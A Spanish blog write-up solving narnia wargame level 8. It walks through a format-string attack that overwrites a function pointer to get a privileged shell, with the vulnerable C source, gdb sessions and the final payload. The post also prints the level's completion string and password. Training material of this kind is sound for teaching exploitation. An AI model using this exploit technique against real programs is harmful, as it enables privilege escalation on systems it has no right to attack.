Wargame narnia: Nivel 8
En este último nivel del wargame narnia deberemos usar un format string attack para modificar el valor de un puntero de función por una función diferente que nos da una shell.
El código propuesto por el nivel es el siguiente:
/*
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int goodfunction();
int hackedfunction();
int vuln(const char *format){
char buffer[128];
int (*ptrf)();
memset(buffer, 0, sizeof(buffer));
printf("goodfunction() = %p\n", goodfunction);
printf("hackedfunction() = %p\n\n", hackedfunction);
ptrf = goodfunction;
printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
snprintf(buffer, sizeof buffer, format);
return ptrf();
}
int main(int argc, char **argv){
int i;
if (argc <= 1){
fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
exit(-1);
}
exit(vuln(argv[1]));
}
int goodfunction(){
printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
fflush(stdout);
return 0;
}
int hackedfunction(){
printf("Way to go!!!!");
seteuid(1009);
system("/bin/sh");
return 0;
}
Una de las primeras cosas que llaman la atención es el sleep:
printf("I guess you want to come to the hackedfunction...\n");
sleep(2);
ptrf = goodfunction;
Puede que sea para darle emoción al último nivel pero es molesto, podemos eliminar la espera mientras jugamos con el gdb capturando la llamada mediante el típico LD_PRELOAD. La función debe ser:
unsigned int sleep(unsigned int seconds);
Creamos un sleep que salga inmediatamente de la función:
level8@narnia:/tmp/buchdich$ cat insomnia.c
unsigned int sleep(unsigned int a)
{
return 0;
}
level8@narnia:/tmp/buchdich$ gcc -fPIC -shared -o insomnia.so insomnia.c
A continuación podemos dejarlo permanente:
level8@narnia:/tmp/buchdich$ export LD_PRELOAD="./insomnia.so"
Realizamos una primera ejecución del programa:
level8@narnia:/tmp/buchdich$ gdb -q /wargame/level8 Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) r a Starting program: /wargame/level8 a goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff96c) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction.. Program exited normally. (gdb)
Tal como vimos en el nivel 6 mediante la posición 6 de la pila obtenemos el inicio de la cadena que combinado con %n podemos escribir en la posición de memoria que le indiquemos:
(gdb) r aaaa%6\$n The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /wargame/level8 aaaa%6\$n goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff96c) I guess you want to come to the hackedfunction... Program received signal SIGSEGV, Segmentation fault. 0xb7eeee29 in vfprintf () from /lib/tls/i686/cmov/libc.so.6 (gdb) bt #0 0xb7eeee29 in vfprintf () from /lib/tls/i686/cmov/libc.so.6 #1 0xb7f0cf81 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6 #2 0xb7ef4365 in snprintf () from /lib/tls/i686/cmov/libc.so.6 #3 0x0804860c in vuln () #4 0x08048672 in main () (gdb)
Vemos que se produce un segmentation fault al intentar escribir en 0×61616161. Deberemos entonces cambiar el aaaa por la dirección de la variable ptrf: 0xbffff96c que nos da el propio binario al ejecutarlo.
Para ver la dirección que se llama en gdb deberemos buscar un punto para hacer el break, por lo que deberemos desensamblar la función vuln:
(gdb) disass vuln Dump of assembler code for function vuln: 0x08048554 <vuln+0>: push ebp 0x08048555 <vuln+1>: mov ebp,esp 0x08048557 <vuln+3>: sub esp,0xa8 0x0804855d <vuln+9>: mov DWORD PTR [esp+8],0x80 0x08048565 <vuln+17>: mov DWORD PTR [esp+4],0x0 0x0804856d <vuln+25>: lea eax,[ebp-0x88] 0x08048573 <vuln+31>: mov DWORD PTR [esp],eax 0x08048576 <vuln+34>: call 0x804847c <memset@plt> 0x0804857b <vuln+39>: mov DWORD PTR [esp+4],0x804867a 0x08048583 <vuln+47>: mov DWORD PTR [esp],0x80487d8 0x0804858a <vuln+54>: call 0x804844c <printf@plt> 0x0804858f <vuln+59>: mov DWORD PTR [esp+4],0x80486a0 0x08048597 <vuln+67>: mov DWORD PTR [esp],0x80487ed 0x0804859e <vuln+74>: call 0x804844c <printf@plt> 0x080485a3 <vuln+79>: mov DWORD PTR [ebp-0x8c],0x804867a 0x080485ad <vuln+89>: lea eax,[ebp-0x8c] 0x080485b3 <vuln+95>: mov DWORD PTR [esp+8],eax 0x080485b7 <vuln+99>: mov eax,DWORD PTR [ebp-0x8c] 0x080485bd <vuln+105>: mov DWORD PTR [esp+4],eax 0x080485c1 <vuln+109>: mov DWORD PTR [esp],0x8048805 0x080485c8 <vuln+116>: call 0x804844c <printf@plt> 0x080485cd <vuln+121>: mov DWORD PTR [esp],0x8048820 0x080485d4 <vuln+128>: call 0x804844c <printf@plt> 0x080485d9 <vuln+133>: mov DWORD PTR [esp],0x2 0x080485e0 <vuln+140>: call 0x804842c <sleep@plt> 0x080485e5 <vuln+145>: mov DWORD PTR [ebp-0x8c],0x804867a 0x080485ef <vuln+155>: mov eax,DWORD PTR [ebp+8] 0x080485f2 <vuln+158>: mov DWORD PTR [esp+8],eax 0x080485f6 <vuln+162>: mov DWORD PTR [esp+4],0x80 0x080485fe <vuln+170>: lea eax,[ebp-0x88] 0x08048604 <vuln+176>: mov DWORD PTR [esp],eax 0x08048607 <vuln+179>: call 0x804845c <snprintf@plt> 0x0804860c <vuln+184>: mov eax,DWORD PTR [ebp-0x8c] 0x08048612 <vuln+190>: call eax 0x08048614 <vuln+192>: leave 0x08048615 <vuln+193>: ret End of assembler dump.
Podemos escoger el punto 0×08048612 (antes de hacer el call eax) para tener en eax la dirección de al función a llamar. Establecemos el breakpoint:
(gdb) break *0x08048612 Breakpoint 1 at 0x8048612
Probamos escribiendo a la dirección que nos indica:
(gdb) r `perl -e 'print "\x6c\xf9\xff\xbf"'`%6\$n The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /wargame/level8 `perl -e 'print "\x6c\xf9\xff\xbf"'`%6\$n goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff96c) I guess you want to come to the hackedfunction... Breakpoint 2, 0x0804860c in vuln () (gdb) info registers eax 0x4 4 ecx 0x0 0 edx 0x4 4 ebx 0xb7fdcff4 -1208102924 esp 0xbffff950 0xbffff950 ebp 0xbffff9f8 0xbffff9f8 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x804860c 0x804860c <vuln+184> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb)
Vemos como se ha modificado el puntero a la dirección 0×4 por los 4 bytes escritos. Si continuamos la ejecución intentará saltar a dicha dirección y provocará un segmentation fault:
(gdb) n Single stepping until exit from function vuln, which has no line number information. Program received signal SIGSEGV, Segmentation fault. 0x00000004 in ?? ()
Para dejar el valor adecuado en la variable la pasamos a decimal:
0x80486a0 --> 134514336
Le restamos 4 bytes por la dirección de la variable y añadimos un padding de 134514332 bytes para escribir el valor que nos interesa:
(gdb) r `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /wargame/level8 `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff95c) I guess you want to come to the hackedfunction... Breakpoint 1, 0x08048612 in vuln () (gdb) info registers eax 0x804867a 134514298 ecx 0x0 0 edx 0x80486a0 134514336 ebx 0xb7fdcff4 -1208102924 esp 0xbffff940 0xbffff940 ebp 0xbffff9e8 0xbffff9e8 esi 0x0 0 edi 0xb8000cc0 -1207956288 eip 0x8048612 0x8048612 <vuln+190> eflags 0x282 [ SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) n Single stepping until exit from function vuln, which has no line number information. Welcome to the goodfunction, but i said the Hackedfunction.. 0x08048672 in main () (gdb)
Nos falla porque por la cadena se nos ha movido la variable de dirección, simplemente cambiamos la dirección por la que nos reporta el binario:
(gdb) r `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n Starting program: /wargame/level8 `perl -e 'print "\x6c\xf9\xff\xbf"'`%134514332x%6\$n goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff97c) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction.. Program exited normally. (gdb) r `perl -e 'print "\x7c\xf9\xff\xbf"'`%134514332x%6\$n Starting program: /wargame/level8 `perl -e 'print "\x7c\xf9\xff\xbf"'`%134514332x%6\$n goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff97c) I guess you want to come to the hackedfunction... sh-3.1$ exit Way to go!!!! Program exited normally.
Como apreciamos tenemos éxito dentro del gdb, por lo que podemos proceder a ejecutarlo para finalizar el wargame:
level8@narnia:~$ /wargame/level8 $(perl -e 'print "\x8c\xf9\xff\xbf"')%134514332x%6\$n goodfunction() = 0x804867a hackedfunction() = 0x80486a0 before : ptrf() = 0x804867a (0xbffff98c) I guess you want to come to the hackedfunction... sh-3.1$ id uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1008(level8) sh-3.1$ cd /home/level9 sh-3.1$ ls CONGRATULATIONS sh-3.1$ cat CONGRATULATIONS Congratulations !!! You have completed the introduction to software exploitation and are now ready to advance further. The completion string is: "mu3Xeah} ieD4am_i ID&ae1ne goh[Z9ae ue[Pi2Oh" sh-3.1$ cat .passwd Lae1No|p sh-3.1$
Podemos dar por finalizado el wargame narnia, pero hay muchos otros.
El listado de soluciones de otros niveles del wargame de narnia es el siguiente:
Relacionados
Imprimir

Deja un comentario: